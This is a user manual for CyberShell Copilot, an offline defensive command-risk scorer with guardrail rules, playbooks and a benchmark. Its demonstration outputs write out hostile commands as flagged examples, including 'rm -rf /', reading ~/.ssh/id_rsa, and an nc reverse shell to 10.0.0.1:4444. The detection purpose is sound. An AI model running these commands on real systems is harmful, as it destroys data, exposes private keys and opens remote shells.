CyberShell Copilot

User Manual

Offline, cybersecurity-aware terminal assistant
for Linux and Kali

Version 0.2.0
Author: Sumit Sunil Khurpade
June 2026

CyberShell Copilot never executes commands. It suggests, scores, warns, blocks, and explains. Detection is static and deterministic.

1. Introduction

CyberShell Copilot is an offline command assistant for defenders. It suggests Linux, DevOps, and blue-team commands, scores their cyber risk, maps risky patterns to MITRE ATT&CK-style tactics, blocks dangerous commands, and offers safer read-only alternatives. It does not run anything on your behalf.

The default application is dependency-light and runs on the Python standard library alone. Its decisions are **deterministic**: the same input always produces the same suggestion and the same risk verdict, on any machine and any run. The packaged model in this release ships **31 guardrail rules**, **114 command knowledge-base entries**, and a **143-case benchmark**.

Where normal autocomplete asks “what comes next?”, CyberShell asks:

- Is the command useful for the current context?
- Is it safe to display?
- Does it touch secrets, persistence, firewall state, disks, containers, or cloud identity?
- Does it resemble attacker behavior?
- Can we suggest a safer read-only alternative?

2. Feature Overview

Every feature below works fully offline with no external calls.

Suggestions

Offline command suggestions are drawn from a 114-entry blue-team knowledge base. You can pass a command prefix or plain natural-language intent; CyberShell returns a single best, deterministically-ranked candidate and then scores it.

Risk scoring and guardrails

Each command is scored as **allow**, **warn**, or **block** across 31 rules covering destructive filesystem actions, disk wipes, reverse shells, fork bombs, and harmful natural-language intent. Warning-level rules cover secrets access, firewall tampering, persistence, privileged mutation, cloud-credential and metadata access, Kubernetes secret access, public scanning, log clearing, and bulk archive/exfiltration. Every finding carries an ATT&CK-style tactic and technique.

Evasion-resistant analysis

The engine decodes base64 and hex payloads, undoes quote, backslash, and variable obfuscation, and assesses every sub-command of a pipeline or chain rather than only the first token, so obfuscated danger is still caught.

Inspection and triage tools

- **History audit** flags risky prior commands in a shell history file, by line number.
- **Playbooks** provide read-only incident-response workflows (SSH brute force, suspicious processes, Linux persistence, container and Kubernetes review).
- **Knowledge-base search** accepts multi-word queries.
- **Rule and policy inspection** lists the guardrails and the per-mode thresholds.
- **Benchmark evaluator** reports accuracy, false-positive rate, and recall by category.

Operational features

- Five policy modes: SOC, strict, admin, learner, and authorized lab.
- Safer read-only alternatives proposed for every high-risk command.
- Prefix cache for accepted suggestions.
- Opt-in local JSONL audit trail with minimized, secret-redacted fields.
- Bash and Zsh key bindings for inserting safe suggestions.

- Optional FAISS and local GGUF LLM research backends that never relax the safety layer.

3. Installation

On Linux or Kali, install the standard tooling and clone the project:

```
sudo apt update
sudo apt install -y git python3 python3-venv python3-pip

git clone https://github.com/waltr0/smartTerminal.git
cd smartTerminal
bash install.sh
cybershell doctor
```

Verify the install with `doctor`:

```
CyberShell doctor
Python: 3.12.3
Command records: 114
Guardrail rules: 31
Default audit path: /root/.cybershell/audit.jsonl
Status: ready
```

Enable shell key bindings (optional):

```
bash install.sh --shell bash   # then: source ~/.bashrc
bash install.sh --shell zsh    # then: source ~/.zshrc
```

If the `cybershell` command is not found afterward, add your local bin to PATH:

```
export PATH="$HOME/.local/bin:$PATH"
```

To develop from source instead, create a virtual environment and install in editable mode:

```
python3 -m venv .venv && source .venv/bin/activate
python -m pip install -e ".[dev]"
PYTHONPATH=src python -m cybershell doctor
```

4. Usage With Demonstrations

The examples below show real command invocations and their actual output. For `risk` and `explain`, the exit code is decision-aware: 0 for allow or warn, 2 for block.

Suggest from a command prefix

```
cybershell suggest --partial "journal" --cwd /var/log
```

Output:

```
Suggestion: journalctl -p err -b
Completion: ctl -p err -b
Source: knowledge-base (0.99)
Why: Show error-priority journal entries for the current boot. Domain: incident-response.
      ATT&CK-style tactic: Discovery.
Status: answered
Message: Safe candidate generated from packaged knowledge.

Risk: safe / decision=allow / score=0
Summary: No guardrail patterns matched; command appears safe for display.
```

Suggest from natural-language intent

```
cybershell suggest --partial "show ssh failed logins" --cwd .
```

Output:

```
Suggestion: sudo grep -i "failed password" /var/log/auth.log
Source: knowledge-base (0.65)
Why: Find failed SSH password attempts in Debian/Ubuntu auth logs. Domain: incident-response.
     ATT&CK-style tactic: Credential Access.
Status: answered
```

Score a dangerous command

```
cybershell risk -- "rm -rf /"
```

Output (exit code 2):

```
Risk: blocked / decision=block / score=181
Summary: Blocked because high-risk guardrails matched: Deletion target appears to include the
     filesystem root.; Removal targets the filesystem root, a system directory or file, or a home
     directory.
Findings:
  - fs.rm_recursive_force: Recursive removal detected; confirm the target before running. (+6,
     evidence='rm -rf') [Impact T1485]
  - fs.delete_root: Deletion target appears to include the filesystem root. (+95, evidence='rm -rf
     /') [Impact T1485]
  - fs.destructive_critical_path: Removal targets the filesystem root, a system directory or file,
     or a home directory. (+80, evidence='/') [Impact T1485]
Safer alternatives:
  - ls -la <target>
  - find <target> -maxdepth 1 -print
  - trash-put <target>  # if trash-cli is installed
```

Explain a credential-access warning

```
cybershell explain -- "cat ~/.ssh/id_rsa"
```

Output:

```
Risk: dangerous / decision=warn / score=46
Summary: Dangerous command; require explicit review: Command may print private key material to the
     terminal.
Findings:
  - secret.private_key_read: Command may print private key material to the terminal. (+46,
     evidence='cat ~/.ssh/id_rsa') [Credential Access T1552]
Safer alternatives:
  - ls -l <secret-file>
  - stat <secret-file>
  - grep -R "REDACTED" <path>  # avoid printing secrets
```

Search the knowledge base (multi-word)

```
cybershell kb-search failed ssh logins
```

Output:

```
4.4  ir.auth_failed_passwords
  sudo grep -i "failed password" /var/log/auth.log
  Find failed SSH password attempts in Debian/Ubuntu auth logs.
3.4  svc.failed_services
  systemctl --failed
  List failed systemd units for operational triage.
```

Audit a shell history file

```
cybershell history-audit --history-file ~/.bash_history
```

Output:

```
Scanned commands: 5
Risky commands: 3
- line 2: blocked score=86 command=rm -rf /etc
  rules: fs.rm_recursive_force, fs.delete_system_path
- line 3: dangerous score=46 command=cat ~/.ssh/id_rsa
  rules: secret.private_key_read
```

```
- line 4: blocked score=70 command=nc -e /bin/bash 10.0.0.1 4444
  rules: shell.reverse_shell_tcp
```

List incident-response playbooks

```
cybershell playbook list
```

Output:

```
ssh-bruteforce-triage  SSH Brute-Force Triage
  Read-only workflow for investigating repeated SSH authentication failures.
suspicious-process-triage  Suspicious Process Triage
  Read-only workflow for identifying unusual processes and network listeners.
linux-persistence-review  Linux Persistence Review
  Read-only workflow for reviewing common Linux persistence locations.
container-security-review  Container Security Review
  Read-only workflow for Docker container inventory and risky configuration review.
kubernetes-rbac-review  Kubernetes RBAC Review
  Read-only workflow for reviewing Kubernetes access and cluster activity.
```

5. Command Reference

CyberShell exposes 14 subcommands. Run `cybershell <command> -h` for the full flags of any one.

- `suggest` — Suggest a safe command from a prefix or intent, then score it.
- `risk` — Score a command and print findings plus safer alternatives.
- `explain` — Verbose risk view with full findings, ATT&CK metadata, and alternatives.
- `accept` — Persist an accepted suggestion into a prefix cache file.
- `doctor` — Check packaged data and runtime readiness.
- `backends` — Show which suggestion backends (knowledge base, FAISS, LLM) are available.
- `kb-search` — Search the packaged knowledge base; multi-word queries allowed.
- `rules` — List the guardrail rules (--json for machine-readable output).
- `policies` — List policy modes and their caution/danger/block thresholds.
- `bench-eval` — Run CyberShell-Bench and print metrics by category.
- `history-audit` — Scan a shell history file and flag risky commands by line number.
- `playbook` — List or show read-only incident-response playbooks.
- `interactive` — Interactive prompt for suggestion plus risk on each entry.
- `audit-report` — Summarize the local opt-in audit trail.

6. Policy Modes and Query Contract

Policy modes shift the caution/danger/block thresholds for the same deterministic scoring. Select one with `--mode`.

```
admin    caution/danger/block: 12 / 40 / 64   routine system administration
lab      caution/danger/block: 14 / 44 / 70   authorized lab / CTF
learner  caution/danger/block:  8 / 28 / 58   explanation-heavy training
soc      caution/danger/block: 10 / 35 / 60   balanced blue-team default
strict   caution/danger/block:  6 / 22 / 45   conservative production mode
```

Every input resolves to exactly one of four outcomes:

- **answered** — a safe candidate was generated and scored.

- **clarify** — the request is too broad, so CyberShell asks for target, scope, or defensive goal instead of guessing.
- **unsupported** — the request is outside the packaged command model.
- **blocked** — the command or intent violates safety policy.

7. Benchmark and Honest Limitations

CyberShell-Bench is a categorized dataset of 143 cases (135 guardrail decisions plus 8 suggestion-contract cases). Run it with `cybershell bench-eval --fail-on-miss`. Results are reported failures-and-all:

- Core accuracy (everything the tool claims to handle): **1.0000**
- Suggestion-contract accuracy: **1.0000**
- False-positive rate: **0.0000** across 66 safe commands
- Block detection recall: **0.9348**
- Documented limitations surfaced as expected misses: **3**

The three documented misses — `$(...)` command substitution, multi-layer base64, and a `cd` into a directory followed by a relative delete — are static-analysis boundaries. Honest overall accuracy is therefore **0.978**, not a manufactured 1.0. `--fail-on-miss` exits non-zero only on unexpected regressions, never on these documented limitations.

8. Safety Notice

CyberShell does not execute commands. It suggests, scores, warns, blocks, and explains. You remain responsible for any command you choose to run. Detection is static and best-effort; treat the tool as an advisory guardrail, not a guarantee, and use it only on systems you are authorized to operate.

CyberShell Copilot v0.2.0 • User Manual • Author: Sumit Sunil Khurpade